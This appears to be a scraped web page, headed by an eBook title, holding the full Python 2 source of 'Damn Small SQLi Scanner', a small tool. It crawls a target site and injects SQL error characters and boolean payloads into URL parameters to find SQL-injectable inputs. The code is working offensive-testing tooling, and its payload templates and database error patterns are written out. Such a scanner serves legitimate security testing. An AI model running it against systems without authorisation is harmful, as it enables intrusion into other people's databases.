API Security Testing for Dummies [Free eBook]
#!/usr/bin/env python import difflib, httplib, optparse, random, re, sys, urllib2, urlparse NAME = "Damn Small SQLi Scanner (DSSS) < 100 LOC (Lines of Code)" VERSION = "0.1b" AUTHOR = "Miroslav Stampar (https://unconciousmind.blogspot.com | @stamparm)" LICENSE = "GPLv2 (www.gnu.org/licenses/gpl-2.0.html)" NOTE = "This is a fully working PoC proving that commercial (SQLi) scanners can be beaten under 100 lines of code (6 hours of work, boolean, error, level 1 crawl)" INVALID_SQL_CHAR_POOL = ['(',')','\'','"'] CRAWL_EXCLUDE_EXTENSIONS = ("gif","jpg","jar","tif","bmp","war","ear","mpg","wmv","mpeg","scm","iso","dmp","dll","cab","so","avi","bin","exe","iso","tar","png","pdf","ps","mp3","zip","rar","gz") SUFFIXES = ["", "-- ", "#"] PREFIXES = [" ", ") ", "' ", "') "] BOOLEANS = ["AND %d=%d", "OR NOT (%d=%d)"] DBMS_ERRORS = {} DBMS_ERRORS["MySQL"] = [r"SQL syntax.*MySQL", r"Warning.*mysql_.*", r"valid MySQL result", r"MySqlClient\."] DBMS_ERRORS["PostgreSQL"] = [r"PostgreSQL.*ERROr", r"Warning.*\Wpg_.*", r"valid PostgreSQL result", r"Npgsql\."] DBMS_ERRORS["Microsoft SQL Server"] = [r"Driver.* SQL[\-\_\ ]*Server", r"OLE DB.* SQL Server", r"(\W|\A)SQL Server.*Driver", r"Warning.*mssql_.*", r"(\W|\A)SQL Server.*[0-9a-fA-F]{8}", r"Exception Details:.*\WSystem\.Data\.SqlClient\.", r"Exception Details:.*\WRoadhouse\.Cms\."] DBMS_ERRORS["Microsoft Access"] = [r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"] DBMS_ERRORS["Oracle"] = [r"ORA-[0-9][0-9][0-9][0-9]", r"Oracle error", r"Oracle.*Driver", r"Warning.*\Woci_.*", r"Warning.*\Wora_.*"] DBMS_ERRORS["IBM DB2"] = [r"CLI Driver.*DB2", r"DB2 SQL error", r"db2_connect\(", r"db2_exec\(", r"db2_execute\(", r"db2_fetch_"] DBMS_ERRORS["Informix"] = [r"Exception.*Informix"] DBMS_ERRORS["Firebird"] = [r"Dynamic SQL Error", r"Warning.*ibase_.*"] DBMS_ERRORS["SQLite"] = [r"SQLite/JDBCDriver", r"SQLite.Exception", r"System.Data.SQLite.SQLiteException", r"Warning.*sqlite_.*", r"Warning.*SQLite3::"] DBMS_ERRORS["SAP MaxDB"] = [r"SQL error.*POS([0-9]+).*", r"Warning.*maxdb.*"] DBMS_ERRORS["Sybase"] = [r"Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"] DBMS_ERRORS["Ingres"] = [r"Warning.*ingres_", r"Ingres SQLSTATE", r"Ingres\W.*Driver"] def getTextOnly(page): retVal = re.sub(r"(?s)|| |<[^>]+>|\s", " ", page) retVal = re.sub(r"\s{2,}", " ", retVal) return retVal def retrieveContent(url): retVal = ["", httplib.OK, "", ""] # [filtered/textual page content, HTTP code, page title, full page content] try: retVal[3] = urllib2.urlopen(url.replace(" ", "%20")).read() except Exception, e: if hasattr(e, 'read'): retVal[3] = e.read() elif hasattr(e, 'msg'): retVal[3] = e.msg retVal[1] = e.code if hasattr(e, 'code') else None match = re.search(r" (?P<title>[^<]+) ", retVal[3]) retVal[2] = match.group("title") if match else "" retVal[0] = getTextOnly(retVal[3]) return retVal def shallowCrawl(url): retVal = set([url]) page = retrieveContent(url)[3] for match in re.finditer(r"href\s*=\s*\"(?P[^\"]+)\"", page, re.I): link = urlparse.urljoin(url, match.group("href")) if link.split('.')[-1].lower() not in CRAWL_EXCLUDE_EXTENSIONS: if reduce(lambda x, y: x == y, map(lambda x: urlparse.urlparse(x).netloc.split(':')[0], [url, link])): retVal.add(link) return retVal def scanPage(url): for link in shallowCrawl(url): print "* scanning: %s" % link for match in re.finditer(r"(?:[?&;])((?P \w+)=[^&;]+)", link): vulnerable = False tampered = link.replace(match.group(0), match.group(0) + "".join(random.sample(INVALID_SQL_CHAR_POOL, len(INVALID_SQL_CHAR_POOL)))) content = retrieveContent(tampered) for dbms in DBMS_ERRORS: for regex in DBMS_ERRORS[dbms]: if not vulnerable and re.search(regex, content[0], re.I): print " (o) parameter '%s' could be SQLi vulnerable! (%s error message)" % (match.group('parameter'), dbms) vulnerable = True if not vulnerable: original = retrieveContent(link) a, b = random.randint(100, 255), random.randint(100, 255) for prefix in PREFIXES: for boolean in BOOLEANS: for suffix in SUFFIXES: if not vulnerable: template = "%s%s%s" % (prefix, boolean, suffix) payloads = (link.replace(match.group(0), match.group(0) + (template % (a, a))), link.replace(match.group(0), match.group(0) + (template % (a, b)))) contents = [retrieveContent(payloads[0]), retrieveContent(payloads[1])] if any(map(lambda x: original[x] == contents[0][x] != contents[1][x], [1, 2])) or len(original) == len(contents[0][0]) != len(contents[1][0]): vulnerable = True else: ratios = map(lambda x: difflib.SequenceMatcher(None, original[0], x).quick_ratio(), [contents[0][0], contents[1][0]]) vulnerable = ratios[0] > 0.95 and ratios[1] < 0.95 if vulnerable: print " (i) parameter '%s' appears to be SQLi vulnerable! (\"%s\")" % (match.group('parameter'), payloads[0]) if __name__ == "__main__": print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR) parser = optparse.OptionParser(version=VERSION) parser.add_option("-u", "--url", dest="url", help="Target URL (e.g. \"https://www.target.com/page.htm?id=1\")") options, _ = parser.parse_args() if options.url: scanPage(options.url) else: parser.print_help()